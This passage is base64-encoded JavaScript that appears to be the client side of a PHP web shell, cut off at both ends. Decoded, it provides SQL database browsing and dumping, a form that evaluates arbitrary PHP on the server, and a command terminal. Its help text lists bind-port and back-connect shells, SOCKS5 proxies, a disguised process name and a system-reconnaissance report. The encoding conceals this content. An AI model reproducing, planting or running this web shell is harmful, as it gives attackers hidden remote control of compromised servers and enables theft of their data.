kZTsKIGlmIChlbG0ubGFzdENoaWxkLmNsYXNzTmFtZSA9PT0gJ2RpdkxzdCcpIHsKICBlbG0gPSBlbG0ubGFzdENoaWxkLmNoaWxkTm9kZXM7CiAgZm9yICh2YXIgaSA9IGVsbS5sZW5ndGggLSAxOyBpID49IDA7IC0taSkKICAgaWYgKGVsbVtpXS5maXJzdENoaWxkLmNoZWNrZWQpIGRhdGEuZi51bnNoaWZ0KGVsbVtpXS5maXJzdENoaWxkLnZhbHVlKTsKIH0KIGlmIChkYXRhLmYubGVuZ3RoID09PSAwKSBkYXRhLmYgPSAnJzsKIHJldHVybiBzcWxBanhTbmQoJ0xvYWQgZGF0YSBmcm9tIHRhYmxlICcgKyBkYXRhLmIgKyAnLicgKyAoJ3MnIGluIGRhdGEgPyBkYXRhLnMgKyAnLicgOiAnJykgKyBkYXRhLnQsIG9uR2V0RGF0YSwgZGF0YSk7Cn0KCmZ1bmN0aW9uIGxpc3REYXRhKGNhcHRpb24sIGRhdGEpIHsKIHZhciB0YmxIZWFkID0gZWxtQnlJZCgndGJsSGVhZCcpLAogIHRibERhdGEgPSBlbG1CeUlkKCd0YmxEYXRhJyksCiAgY2xuID0gZGF0YS5mLmxlbmd0aDsKIGlmICh0YmxEYXRhLnRCb2RpZXMubGVuZ3RoID4gMCkgdGJsRGF0YS5yZW1vdmVDaGlsZCh0YmxEYXRhLnRCb2RpZXNbMF0pOwogZWxtQnlJZCgnZGl2Q3B0bicpLnRleHRDb250ZW50ID0gY2FwdGlvbjsKIGlmICh0YmxIZWFkLmNoaWxkTm9kZXMubGVuZ3RoID4gMCkgdGJsSGVhZC5yZW1vdmVDaGlsZCh0YmxIZWFkLnRIZWFkKTsKIHZhciB0aGVhZCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RoZWFkJyksCiAgZWxtID0gdGhlYWQuaW5zZXJ0Um93KDApOwogZm9yICh2YXIgaSA9IDA7IGkgPCBjbG47ICsraSkgZWxtLmluc2VydENlbGwoLTEpLnRleHRDb250ZW50ID0gZGF0YS5mW2ldOwogdGJsSGVhZC5hcHBlbmRDaGlsZCh0aGVhZCk7CiBkYXRhID0gZGF0YS5yOwogZWxtID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgndGJvZHknKTsKIGZvciAodmFyIGkgPSAwLCBjID0gZGF0YS5sZW5ndGg7IGkgPCBjOyArK2kpIHsKICB2YXIgdHIgPSBlbG0uaW5zZXJ0Um93KC0xKTsKICBmb3IgKHZhciBqID0gMDsgaiA8IGNsbjsgKytqKSB0ci5pbnNlcnRDZWxsKC0xKS50ZXh0Q29udGVudCA9IGRhdGFbaV1bal07CiB9CiB0YmxEYXRhLmFwcGVuZENoaWxkKGVsbSk7CiBlbG0gPSB0YmxIZWFkLnRIZWFkLnJvd3NbMF0uY2VsbHM7CiBkYXRhID0gdGJsRGF0YS50Qm9kaWVzWzBdLnJvd3NbMF0uY2VsbHM7CiBmb3IgKHZhciBpID0gMDsgaSA8IGNsbjsgKytpKSB7CiAgdmFyIHRyID0gKGVsbVtpXS5vZmZzZXRXaWR0aCA+IGRhdGFbaV0ub2Zmc2V0V2lkdGggPyBlbG1baV0ub2Zmc2V0V2lkdGggOiBkYXRhW2ldLm9mZnNldFdpZHRoKSArICdweCc7CiAgZWxtW2ldLnN0eWxlLm1pbldpZHRoID0gdHI7CiAgZWxtW2ldLnN0eWxlLndpZHRoID0gdHI7CiAgZGF0YVtpXS5zdHlsZS5taW5XaWR0aCA9IHRyOwogIGRhdGFbaV0uc3R5bGUud2lkdGggPSB0cjsKIH0KfQoKZnVuY3Rpb24gb25HZXREYXRhKGRpdiwgZGF0YSkgewogaWYgKCdlJyBpbiBkYXRhKSByZXR1cm4gdWlDaG5nTXNnKGRpdiwgZGF0YS5lLCAnRXJyJyk7CiBpZiAoZGF0YS5mLmxlbmd0aCA9PT0gMCkgewogIHZhciB2ID0gZGF0YS5iICsgJy4nICsgKCdzJyBpbiBkYXRhID8gZGF0YS5zICsgJy4nIDogJycpICsgZGF0YS50OwogIHJldHVybiB1aUNobmdNc2coZGl2LCBkYXRhLm8gPiAwID8gJ05vIG1vcmUgZGF0YSBpbiB0YWJsZSAnICsgdiA6ICdUYWJsZSAnICsgdiArICcgaXMgZW1wdHknLCAnSW5mJyk7CiB9CiB2YXIgaXNOb3RQZ25ibCA9ICEoJ28nIGluIGRhdGEpOwogbGlzdERhdGEoKGlzTm90UGduYmwgPyAnVG9wICcgKyBkYXRhLnIubGVuZ3RoICsgJyByb3dzJyA6ICdSb3dzICcgKyBkYXRhLm8gKyAnLScgKyAoZGF0YS5vICsgZGF0YS5yLmxlbmd0aCAtIDEpKSArICcgZnJvbSB0YWJsZSAnICsgZGF0YS5iICsgJy4nICsgKCdzJyBpbiBkYXRhID8gZGF0YS5zICsgJy4nIDogJycpICsgZGF0YS50LCBkYXRhKTsKIHZhciBmcm1QZyA9IGVsbUJ5SWQoJ2ZybVBnJyk7CiBmcm1QZy5iLnZhbHVlID0gZGF0YS5iOwogZnJtUGcucy52YWx1ZSA9ICgncycgaW4gZGF0YSkgPyBkYXRhLnMgOiAnJzsKIGZybVBnLnQudmFsdWUgPSBkYXRhLnQ7CiBmcm1QZy5vLnZhbHVlID0gMDsKIGZybVBnLm8uZGlzYWJsZWQgPSBpc05vdFBnbmJsOwogZnJtUGcuZWxlbWVudHNbM10uZGlzYWJsZWQgPSBpc05vdFBnbmJsOwogZnJtUGcuZWxlbWVudHNbNV0uZGlzYWJsZWQgPSBpc05vdFBnbmJsOwogaWYgKGZybVBnLnN0eWxlLmRpc3BsYXkgIT09ICdibG9jaycpIGZybVBnLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwogdWlEZWxNc2coZGl2KTsKfQoKZnVuY3Rpb24gY2huZ1BnKHYpIHsKIHZhciBlbG1zID0gZWxtQnlJZCgnZnJtUGcnKSwKICBjaGxkcyA9IFtdLAogIHZhbCA9IChlbG1zLm8udmFsdWUgfCAwKSArIHYgKiAoZWxtcy5yLnZhbHVlIHwgMCksCiAgZGF0YSA9IHsKICAgYjogZWxtcy5iLnZhbHVlLAogICB0OiBlbG1zLnQudmFsdWUsCiAgIG86IHZhbCA+IDAgPyB2YWwgOiAwLAogICByOiBlbG1zLnIudmFsdWUgfCAwLAogICBmOiBbXQogIH07CiBpZiAoZWxtcy5zLnZhbHVlICE9PSAnJykgZGF0YS5zID0gZWxtcy5zLnZhbHVlOwogdmFyIHBybnQgPSBzcmNoSXRtKGVsbUJ5SWQoJ2RpdlNjaG0nKSwgJ2JbXScsIGRhdGEuYik7CiBpZiAocHJudCAmJiBwcm50Lmxhc3RDaGlsZC5jbGFzc05hbWUgPT09ICdkaXZMc3QnKSB7CiAgaWYgKCdzJyBpbiBkYXRhKSBwcm50ID0gc3JjaEl0bShwcm50Lmxhc3RDaGlsZCwgJ3NbXScsIGRhdGEucyk7CiAgaWYgKHBybnQgJiYgcHJudC5sYXN0Q2hpbGQuY2xhc3NOYW1lID09PSAnZGl2THN0JykgewogICBwcm50ID0gc3JjaEl0bShwcm50Lmxhc3RDaGlsZCwgJ3RbXScsIGRhdGEudCk7CiAgIGlmIChwcm50ICYmIHBybnQubGFzdENoaWxkLmNsYXNzTmFtZSA9PT0gJ2RpdkxzdCcpIHsKICAgIHZhciBjaGxkcyA9IHBybnQubGFzdENoaWxkLmNoaWxkTm9kZXM7CiAgICBmb3IgKHZhciBpID0gMCwgYyA9IGNobGRzLmxlbmd0aDsgaSA8IGM7ICsraSkKICAgICBpZiAoY2hsZHNbaV0uZmlyc3RDaGlsZC5jaGVja2VkKSBkYXRhLmYucHVzaChjaGxkc1tpXS5maXJzdENoaWxkLnZhbHVlKTsKICAgfQogIH0KIH0KIGlmIChkYXRhLmYubGVuZ3RoID09PSAwKSBkYXRhLmYgPSAnJzsKIHJldHVybiBzcWxBanhTbmQoJ0xvYWQgZGF0YSBmcm9tIHRhYmxlICcgKyBkYXRhLmIgKyAnLicgKyAoJ3MnIGluIGRhdGEgPyBkYXRhLnMgKyAnLicgOiAnJykgKyBkYXRhLnQgKyAnICgnICsgZGF0YS5vICsgJy0nICsgKGRhdGEubyArIGRhdGEucikgKyAnKScsIG9uR2V0RGF0YSwgZGF0YSk7Cn0KCmZ1bmN0aW9uIHF1ZXJ5KCkgewogdmFyIHYgPSBlbG1CeUlkKCdmcm1TUUwnKS5xLnZhbHVlOwogcmV0dXJuIHYgPT09ICcnID8gZmFsc2UgOiBzcWxBanhTbmQodiwgb25RdWVyeSwgewogIHE6IHYKIH0pOwp9CgpmdW5jdGlvbiBvblF1ZXJ5KGRpdiwgZGF0YSkgewogaWYgKCdlJyBpbiBkYXRhKSByZXR1cm4gdWlDaG5nTXNnKGRpdiwgZGF0YS5lLCAnRXJyJyk7CiBpZiAoZGF0YS5mLmxlbmd0aCA9PT0gMCkgcmV0dXJuIHVpQ2huZ01zZyhkaXYsICdRdWVyeSBzdWNjZXNzZnVsbHkgY29tcGxldGVkICgnICsgZGF0YS5xICsgJyknLCAnSW5mJyk7CiBlbG1CeUlkKCdmcm1QZycpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiBsaXN0RGF0YShkYXRhLnEsIGRhdGEpOwogdWlEZWxNc2coZGl2KTsKfQoKZnVuY3Rpb24gZ2V0RHVtcExpc3QoZGF0YSwgZWxtcywgcHJmeCkgewogdmFyIG4gPSAwLAogIGluZHggPSBlbG1zWzBdLmZpcnN0Q2hpbGQubmFtZS5zbGljZSgwLCAxKSArICdbJyArIHByZnggKyAnXSc7CiBkYXRhW2luZHhdID0gW107CiBmb3IgKHZhciBpID0gMCwgYyA9IGVsbXMubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgaWYgKGVsbXNbaV0uZmlyc3RDaGlsZC5jaGVja2VkKSBkYXRhW2luZHhdW24rK10gPSBlbG1zW2ldLmZpcnN0Q2hpbGQudmFsdWU7CiAgZWxzZSBpZiAoZWxtc1tpXS5maXJzdENoaWxkLmluZGV0ZXJtaW5hdGUpIHsKICAgZGF0YVtpbmR4XS5wdXNoKGVsbXNbaV0uZmlyc3RDaGlsZC52YWx1ZSk7CiAgIGdldER1bXBMaXN0KGRhdGEsIGVsbXNbaV0ubGFzdENoaWxkLmNoaWxkTm9kZXMsIHByZnggKyAnLScgKyBuKTsKICAgbisrOwogIH0KIH0KfQoKZnVuY3Rpb24gZHVtcCgpIHsKIHZhciBkYXRhID0gewogICBkOiBbXSwKICAgbzogZWxtQnlJZCgnc2xjdERtcEZybXQnKS52YWx1ZQogIH0sCiAgZWxtcyA9IGVsbUJ5SWQoJ2RpdlNjaG0nKS5jaGlsZE5vZGVzLAogIG4gPSAwOwogZm9yICh2YXIgaSA9IDAsIGMgPSBlbG1zLmxlbmd0aDsgaSA8IGM7ICsraSkgewogIGlmIChlbG1zW2ldLmZpcnN0Q2hpbGQuY2hlY2tlZCkgZGF0YS5kW24rK10gPSBlbG1zW2ldLmZpcnN0Q2hpbGQudmFsdWU7CiAgZWxzZSBpZiAoZWxtc1tpXS5maXJzdENoaWxkLmluZGV0ZXJtaW5hdGUpIHsKICAgZGF0YS5kLnB1c2goZWxtc1tpXS5maXJzdENoaWxkLnZhbHVlKTsKICAgZ2V0RHVtcExpc3QoZGF0YSwgZWxtc1tpXS5sYXN0Q2hpbGQuY2hpbGROb2RlcywgbisrKTsKICB9CiB9CiBpZiAobikgc3FsQWp4U25kKCdEb3dubG9hZCBTUUwgZHVtcCAoY2xvc2UgdGhpcyBtZXNzYWdlIGFmdGVyIHN0YXJ0IGRvd25sb2FkKScsIG9uRHVtcCwgZGF0YSk7Cn0KCmZ1bmN0aW9uIG9uRHVtcChkaXYsIGRhdGEpIHsKIHVpQ2huZ01zZyhkaXYsIGRhdGEuZSwgJ0VycicpOwp9CgpmdW5jdGlvbiBvblBIUEtleUR3bihlKSB7CiBpZiAoZS5jdHJsS2V5ICYmIGUua2V5Q29kZSA9PT0gMTMpIHJldHVybiBldmwoKTsKfQoKZnVuY3Rpb24gb25QSFBSZXNLZXlEd24oZSkgewogaWYgKGUuY3RybEtleSAmJiBlLmtleUNvZGUgPT09IDY1KSB7CiAgdWlTbGN0VHh0KCdwcmVQSFAnKTsKICBlLnByZXZlbnREZWZhdWx0KCk7CiB9Cn0KCmZ1bmN0aW9uIHVpQ2huZ0NtcHMoKSB7CiB2YXIgbGJsID0gZWxtQnlJZCgnYUNtcHMnKSwKICBmcm0gPSBlbG1CeUlkKCdkaXZQSFAnKS5zdHlsZTsKIGlmIChsYmwuY2xhc3NOYW1lID09PSAnY21wc1JvdycpIHsKICBsYmwuY2xhc3NOYW1lID0gJ2NtcHNDb2wnOwogIGZybS5mbGV4RGlyZWN0aW9uID0gJ2NvbHVtbic7CiB9IGVsc2UgewogIGxibC5jbGFzc05hbWUgPSAnY21wc1Jvdyc7CiAgZnJtLmZsZXhEaXJlY3Rpb24gPSAncm93JzsKIH0KIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gZXZsKCkgewogdmFyIGZybSA9IGVsbUJ5SWQoJ2ZybVBIUCcpOwogaWYgKGZybS5lLnZhbHVlID09PSAnJykgZWxtQnlJZCgncHJlUEhQJykuaW5uZXJIVE1MID0gJyc7CiBlbHNlIGFqeFNuZCgnRXZhbCBQSFAgY29kZScsIG9uRXZsLCBmcm0sIHsKICBhOiAncCcKIH0sIGVsbUJ5SWQoJ3NsY3RQSFBDUycpLnZhbHVlKTsKIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gb25FdmwoZGl2LCBkYXRhKSB7CiB2YXIgZWxtID0gZWxtQnlJZCgncHJlUEhQJyksCiAgY2hyID0gZGF0YS5zbGljZSgtMSk7CiBpZiAoJ2NyZWF0ZVNoYWRvd1Jvb3QnIGluIGVsbSkgewogIGlmIChlbG0uc2hhZG93Um9vdCA9PT0gbnVsbCkgZWxtLmNyZWF0ZVNoYWRvd1Jvb3QoKTsKICBlbG0gPSBlbG0uc2hhZG93Um9vdDsKIH0KIGlmIChjaHIgPT09ICJceDA2IiAmJiBlbG1CeUlkKCdjYkNsbklucCcpLmNoZWNrZWQpIGVsbUJ5SWQoJ3R4dFBIUCcpLnZhbHVlID0gJyc7CiBpZiAoZWxtQnlJZCgnY2JDbG5PdXQnKS5jaGVja2VkKSBlbG0uaW5uZXJIVE1MID0gJyc7CiBpZiAoY2hyID09PSAiXHgxNSIgJiYgZGF0YS5zbGljZSgwLCAtMykgPT09ICcnICYmICFlbG1CeUlkKCdmcm1QSFAnKS5oLmNoZWNrZWQpIGRhdGEgPSAnXG5GYXRhbCBlcnJvcjogWW91IGhhdmUgc3ludGF4IGVycm9yIGluIFBIUCBjb2RlXG4nOwogZWxzZSBkYXRhID0gZGF0YS5zbGljZSgwLCAtMyk7CiBpZiAoZWxtQnlJZCgnY2JIVE1MJykuY2hlY2tlZCkgewogIHZhciBkaXZSc3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTsKICBkaXZSc3Quc3R5bGUgPSAnYWxsOmluaXRpYWw7aXNvbGF0aW9uOmlzb2xhdGU7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTsnOwogIGRpdlJzdC5zcmNkb2MgPSBkYXRhOwogIGVsbS5hcHBlbmRDaGlsZChkaXZSc3QpOwogfSBlbHNlIGVsbS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShkYXRhKSk7CiB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBwaHBTYXZlU3RhdGUoKSB7CiBzdHJnU2F2ZUJvb2woJ3BocENobmdDbXBzJywgZWxtQnlJZCgnYUNtcHMnKS5jbGFzc05hbWUgPT09ICdjbXBzQ29sJyk7CiBzdHJnU2F2ZUJvb2woJ3BocENsbklucCcsICdjYkNsbklucCcpOwogc3RyZ1NhdmVCb29sKCdwaHBDbG5PdXQnLCAnY2JDbG5PdXQnKTsKIHN0cmdTYXZlQm9vbCgncGhwSFRNTCcsICdjYkhUTUwnKTsKIHZhciBmcm0gPSBlbG1CeUlkKCdmcm1QSFAnKTsKIHN0cmdTYXZlQm9vbCgncGhwU2lsZW50JywgZnJtLmguY2hlY2tlZCk7CiBzdHJnU2F2ZU9wdCgncGhwU2VuZEFzJywgZWxtQnlJZCgnc2xjdFBIUENTJykudmFsdWUpOwogc3RyZ1NhdmVPcHQoJ3BocExvYWRBcycsIGZybS5jLnZhbHVlKTsKfQoKZnVuY3Rpb24gcGhwUmVzdG9yZVN0YXRlKCkgewogaWYgKHNlc3Npb25TdG9yYWdlLmdldEl0ZW0oJ3BocENobmdDbXBzJykpIHVpQ2huZ0NtcHMoKTsKIHN0cmdSc3RyQ2hjaygncGhwQ2xuSW5wJywgJ2NiQ2xuSW5wJyk7CiBzdHJnUnN0ckNoY2soJ3BocENsbk91dCcsICdjYkNsbk91dCcpOwogc3RyZ1JzdHJDaGNrKCdwaHBIVE1MJywgJ2NiSFRNTCcpOwogdmFyIGZybSA9IGVsbUJ5SWQoJ2ZybVBIUCcpOwogc3RyZ1JzdHJDaGNrKCdwaHBTaWxlbnQnLCBmcm0uaCk7CiBzdHJnUnN0clZhbCgncGhwU2VuZEFzJywgJ3NsY3RQSFBDUycpOwogc3RyZ1JzdHJWYWwoJ3BocExvYWRBcycsIGZybS5jKTsKfQp2YXIgdHJtSGlzdCA9IHN0cmdSc3RyQXJyKCd0cm1IaXN0JyksCiB0cm1JbmR4ID0gdHJtSGlzdC5sZW5ndGg7CgpmdW5jdGlvbiBvblRybUNsaWNrKGUpIHsKIGlmIChlLnRhcmdldCA9PT0gZWxtQnlJZCgnZGl2VHJtJykpIGVsbUJ5SWQoJ2lucFRybScpLmZvY3VzKCk7Cn0KCmZ1bmN0aW9uIG9uVHJtUmVzS2V5RHduKGUpIHsKIGlmIChlLmN0cmxLZXkgJiYgZS5rZXlDb2RlID09PSA2NSkgewogIHVpU2xjdFR4dCgncHJlVHJtJyk7CiAgZS5wcmV2ZW50RGVmYXVsdCgpOwogfQp9CgpmdW5jdGlvbiBvblRybUlucEtleUR3bihlKSB7CiB2YXIgZnJtID0gZWxtQnlJZCgnZnJtVHJtJyksCiAgaW5wID0gZnJtLmU7CiBpZiAoZS5rZXlDb2RlID09PSAzOCkgewogIGlmICh0cm1JbmR4ID4gMCkgaW5wLnZhbHVlID0gdHJtSGlzdFstLXRybUluZHhdOwogfSBlbHNlIGlmIChlLmtleUNvZGUgPT09IDQwKSB7CiAgdmFyIHZhbCA9IHRybUhpc3QubGVuZ3RoOwogIGlmICh0cm1JbmR4IDwgdmFsIC0gMSkgaW5wLnZhbHVlID0gdHJtSGlzdFsrK3RybUluZHhdOwogIGVsc2UgewogICBpbnAudmFsdWUgPSAnJzsKICAgaWYgKHRybUluZHggPCB2YWwpICsrdHJtSW5keDsKICB9CiB9IGVsc2UgaWYgKGUuY3RybEtleSAmJiBlLmtleUNvZGUgPT09IDc2KSBlbG1CeUlkKCdwcmVUcm0nKS50ZXh0Q29udGVudCA9ICcnOwogZWxzZSBpZiAoZS5rZXlDb2RlID09PSAxMykgZXhlYygpOwogZWxzZSByZXR1cm47CiBlLnByZXZlbnREZWZhdWx0KCk7Cn0KCmZ1bmN0aW9uIHBybnRNc2cobXNnKSB7CiBpZihlbG1CeUlkKCdjYklUJykuY2hlY2tlZCkKICAgIGVsbUJ5SWQoJ3ByZVRybScpLnRleHRDb250ZW50ID0gZWxtQnlJZCgnc3BuVXNySHN0JykudGV4dENvbnRlbnQgKyAnOicgKyBlbG1CeUlkKCdzcG5QdGgnKS50ZXh0Q29udGVudCArICckICcgKyBtc2cgKyAnXG4nICsgZWxtQnlJZCgncHJlVHJtJykudGV4dENvbnRlbnQ7CiBlbHNlewogICAgZWxtQnlJZCgncHJlVHJtJykudGV4dENvbnRlbnQgKz0gZWxtQnlJZCgnc3BuVXNySHN0JykudGV4dENvbnRlbnQgKyAnOicgKyBlbG1CeUlkKCdzcG5QdGgnKS50ZXh0Q29udGVudCArICckICcgKyBtc2cgKyAnXG4nOwogICAgdmFyIHRybSA9IGVsbUJ5SWQoJ2RpdlRybScpOwogICAgdHJtLnNjcm9sbFRvcCA9IHRybS5zY3JvbGxIZWlnaHQ7CiB9CiByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGV4ZWMoKSB7CiB2YXIgZnJtID0gZWxtQnlJZCgnZnJtVHJtJyksCiAgY21kID0gZnJtLmUudmFsdWUudHJpbSgpLAogIHZhbCA9IGNtZC5tYXRjaCgvISghfCg/Oi0/WzAtOV0rKSkvKTsKIGlmICh2YWwgIT09IG51bGwpIHsKICB2YWwgPSB2YWxbMV0gfCAwOwogIGlmICh2YWwgPj0gMCkgLS12YWw7CiAgY21kID0gdHJtSGlzdFt2YWwgPCAwID8gdHJtSGlzdC5sZW5ndGggKyB2YWwgOiB2YWxdOwogIGZybS5lLnZhbHVlID0gY21kOwogfQogaWYgKHRybUhpc3Quc2xpY2UoLTEpWzBdICE9PSBjbWQpIHRybUhpc3QucHVzaChjbWQpOwogdHJtSW5keCA9IHRybUhpc3QubGVuZ3RoOwogaWYgKGNtZCA9PT0gJz8nKSB7CiAgdmFsID0gJyAgRm9yIG1vcmUgaW5mb3JtYXRpb24gcnVuIGNvbW1hbmQgd2l0aG91dCBwYXJhbXMuXG5cbic7CiAgcHJudE1zZygnP1xuXG4nICsgJ2NscywgY2xlYXJcbicgKyAnICBDbGVhciB0ZXJtaW5hbCB3aW5kb3cuXG4nICsgJyAgKiBZb3UgY2FuIGNsZWFyIHRlcm1pbmFsIHdpbmRvdyBwcmVzc2luZyBDdHJsK0xcblxuJyArICdoaXN0b3J5XG4nICsgJyAgICAgICBTaG93IGFsbCBjb21hbmRzLlxuJyArICcgIG4gICAgU2hvdyBsYXN0IG4gY29tbWFuZHMuXG4nICsgJyAgISEgICBFeGVjdXRlIGxhc3QgY29tbWFuZC5cbicgKyAnICAhbiAgIEV4ZWN1dGUgY29tbWFuZCBudW1iZXIgbi4gSWYgdmFsdWUgbmVnYXRpdmUgdGhlbiBjb3VudGluZyBzdGFydHMgYXQgZW5kLlxuJyArICcgICogWW91IGNhbiBuYXZpZ2F0ZSB0aHJvdWdoIGhpc3RvcnkgdXNpbmcgVVAgYW5kIERPV04ga2V5cy5cblxuJyArICdyZXBvcnRcbicgKyAnICBDcmVhdGUgc2VydmVyIGluZm9ybWF0aW9uIHJlcG9ydC5cbicgKyAnICBGb3IgbW9yZSBpbmZvcm1hdGlvbiBydW4gY29tbWFuZCB3aXRoIHF1ZXN0aW9uIHBhcmFtLlxuXG4nICsgJ3NvY2tzNS5wZXJsXG4nICsgJyAgUnVuIFNvY2tzNSBzZXJ2ZXIgdXNpbmcgUGVybC5cbicgKyB2YWwgKyAnYmluZHBvcnQucGVybFxuJyArICcgIE9wZW4gcG9ydCBhbmQgcHJvdmlkZSBzaGVsbCBhY2Nlc3MgZm9yIGNvbm5lY3RlZCBjbGllbnQgdXNpbmcgUGVybC5cbicgKyB2YWwgKyAnYmFja2Nvbm5lY3QucGVybFxuJyArICcgIENvbm5lY3QgdG8gY2xpZW50IGFuZCBwcm92aWRlIHNoZWxsIGFjY2VzcyBmb3IgaGltIHVzaW5nIFBlcmwuXG4nICsgdmFsICsgJ3NvY2tzNS5weXRob25cbicgKyAnICBSdW4gU29ja3M1IHNlcnZlciB1c2luZyBQeXRob24uXG4nICsgdmFsICsgJ2JpbmRwb3J0LnB5dGhvblxuJyArICcgIE9wZW4gcG9ydCBhbmQgcHJvdmlkZSBzaGVsbCBhY2Nlc3MgZm9yIGNvbm5lY3RlZCBjbGllbnQgdXNpbmcgUHl0aG9uLlxuJyArIHZhbCArICdiYWNrY29ubmVjdC5weXRob25cbicgKyAnICBDb25uZWN0IHRvIGNsaWVudCBhbmQgcHJvdmlkZSBzaGVsbCBhY2Nlc3MgZm9yIGhpbSB1c2luZyBQeXRob24uXG4nICsgdmFsKTsKIH0gZWxzZSBpZiAoY21kID09PSAnY2xzJyB8fCBjbWQgPT09ICdjbGVhcicpIGVsbUJ5SWQoJ3ByZVRybScpLnRleHRDb250ZW50ID0gJyc7CiBlbHNlIHsKICB2YWwgPSBjbWQubWF0Y2goL2hpc3RvcnkgPyhbMC05XSopL2kpOwogIGlmICh2YWwgIT09IG51bGwpIHsKICAgdmFsID0gdmFsWzFdIHwgMDsKICAgdmFyIHMgPSBjbWQgKyAnXG4nOwogICBmb3IgKHZhciBjID0gdHJtSGlzdC5sZW5ndGgsIGkgPSAodmFsID4gMCAmJiBjID4gdmFsKSA/IGMgLSB2YWwgOiAwOyBpIDwgYzsgKytpKSBzICs9ICdcdCcgKyAoaSArIDEpICsgJ1x0JyArIHRybUhpc3RbaV0gKyAnXG4nOwogICBwcm50TXNnKHMpOwogIH0gZWxzZSB7CiAgIHZhbCA9IGNtZC5zcGxpdCgnICcsIDQpOwogICB2YXIgdXNnID0gY21kICsgJ1xuJyArICdVc2FnZTpcbiAgJyArIHZhbFswXSwKICAgIG9wdCA9ICcgPHBvcnQ+IFtvcHRpb25zXVxuT3B0aW9ucyAob3B0aW9uIHZhbHVlIGNhblwndCBjb250YWluIHdoaXRlc3BhY2UpOlxuICAtaSA8ZmlsZT4gIFVzZSBpbnRlcnByZXRlciA8ZmlsZT4uIERlZmF1bHQ6ICcsCiAgICBwZXJsID0gJzw/cGhwIGVjaG8gTklYPyIvdXNyL2Jpbi9wZXJsIjoicGVybC5leGUiOz8+XG4nLAogICAgcHRobiA9ICc8P3BocCBlY2hvIE5JWD8iL3Vzci9iaW4vcHl0aG9uIjoicHl0aG9uLmV4ZSI7Pz5cbicsCiAgICBvcHRhID0gJyAgLWEgPGFkZHI+ICBMaXN0ZW4gb25seSBvbiBJUCBhZGRyZXNzIDxhZGRyPi4gRGVmYXVsdCBsaXN0ZW5pbmcgb24gYWxsIGFkcmVzc2VzXG4nLAogICAgb3B0biA9ICcgIC1uIDxuYW1lPiAgU2V0IHByb2Nlc3MgbmFtZSB0byA8bmFtZT4uIERlZmF1bHQgdmFsdWUgaXMgc2VjcmV0IDspXG4nLAogICAgb3B0cyA9ICcgIC1zIDxmaWxlPiAgVXNlIHNoZWxsIDxmaWxlPi4gRGVmYXVsdDogPD9waHAgZWNobyBOSVg/Ii9iaW4vc2giOiJjbWQiOz8+XG4nLAogICAgb3B0dCA9ICcgIC10ICAgICAgICAgT3BlbiBQVFlcbicsCiAgICBvcHRsID0gJyAgLXMgPHU6cD4gICBTZWN1cmUgd2l0aCBhdXRoZW50aWNhdGlvbiAodSAtIHVzZXJuYW1lLCBwIC0gcGFzc3dvcmQpXG4nLAogICAgaWduID0gJyAgICAgdSAtIFVzZXJzIGFuZCBHcm91cHM7XG4gICAgIGUgLSBFbnZpcm9ubWVudDtcbiAgICAgcCAtIFByb2Nlc3NlcztcbiAgICAgbiAtIE5ldHdvcms7XG4nOwogICBpZiAodmFsWzBdID09PSAnYmFja2Nvbm5lY3QucGVybCcgJiYgdmFsLmxlbmd0aCA8IDMpIHBybnRNc2codXNnICsgJyA8aXA+JyArIG9wdCArIHBlcmwgKyBvcHRzICsgb3B0bik7CiAgIGVsc2UgaWYgKHZhbFswXSA9PT0gJ2JpbmRwb3J0LnBlcmwnICYmIHZhbC5sZW5ndGggPCAyKSBwcm50TXNnKHVzZyArIG9wdCArIHBlcmwgKyBvcHRhICsgb3B0cyArIG9wdG4pOwogICBlbHNlIGlmICh2YWxbMF0gPT09ICdzb2NrczUucGVybCcgJiYgdmFsLmxlbmd0aCA8IDIpIHBybnRNc2codXNnICsgb3B0ICsgcGVybCArIG9wdGEgKyBvcHRsICsgb3B0bik7CiAgIGVsc2UgaWYgKHZhbFswXSA9PT0gJ2JhY2tjb25uZWN0LnB5dGhvbicgJiYgdmFsLmxlbmd0aCA8IDMpIHBybnRNc2codXNnICsgJyA8aXA+JyArIG9wdCArIHB0aG4gKyBvcHRzICsgb3B0dCk7CiAgIGVsc2UgaWYgKHZhbFswXSA9PT0gJ2JpbmRwb3J0LnB5dGhvbicgJiYgdmFsLmxlbmd0aCA8IDIpIHBybnRNc2codXNnICsgb3B0ICsgcHRobiArIG9wdGEgKyBvcHRzICsgb3B0dCk7CiAgIGVsc2UgaWYgKHZhbFswXSA9PT0gJ3NvY2tzNS5weXRob24nICYmIHZhbC5sZW5ndGggPCAyKSBwcm50TXNnKHVzZyArIG9wdCArIHB0aG4gKyBvcHRhICsgb3B0bCk7CiAgIGVsc2UgaWYgKHZhbFswXSA9PT0gJ3JlcG9ydCcgJiYgdmFsWzFdID09PSAnPycpIHBybnRNc2codXNnICsgJyBbb3B0aW9uc11cbk9wdGlvbnM6XG4gIC1mIDxmaWxlPiAgIFNhdmUgcmVwb3J0IHRvIDxmaWxlPlxuICAtcyBbZmxhZ3NdICBTa2lwIHNvbWUgaW5mb3JtYXRpb25cbiAgICAgRmxhZ3M6XG48P3BocCBlY2hvIE5JWD8nby1PUyBJZGVudGlmaWNhdGlvbjtcbiBsLUxhbmdzO1xuIGMtQ1BVO1xuIHItQ3JvbjtcbiBoLUhpc3RvcmllcztcbiBmLUZpbGUgU3lzdGVtO1xuIHMtU1VJRCBGaWxlcztcbic6J3MtU3lzdGVtIEluZm87XG4gdC1UYXNrcztcbiByLVNoYXJlO1xuJzs/PicgKyBpZ24pOwogICBlbHNlIHsKICAgIHZhbCA9IGVsbUJ5SWQoJ3NwblB0aCcpLnRleHRDb250ZW50OwogICAgYWp4U25kKGVsbUJ5SWQoJ3NwblVzckhzdCcpLnRleHRDb250ZW50ICsgJzonICsgdmFsICsgJyQgJyArIGNtZCwgb25FeGVjLCBmcm0sIHsKICAgICBh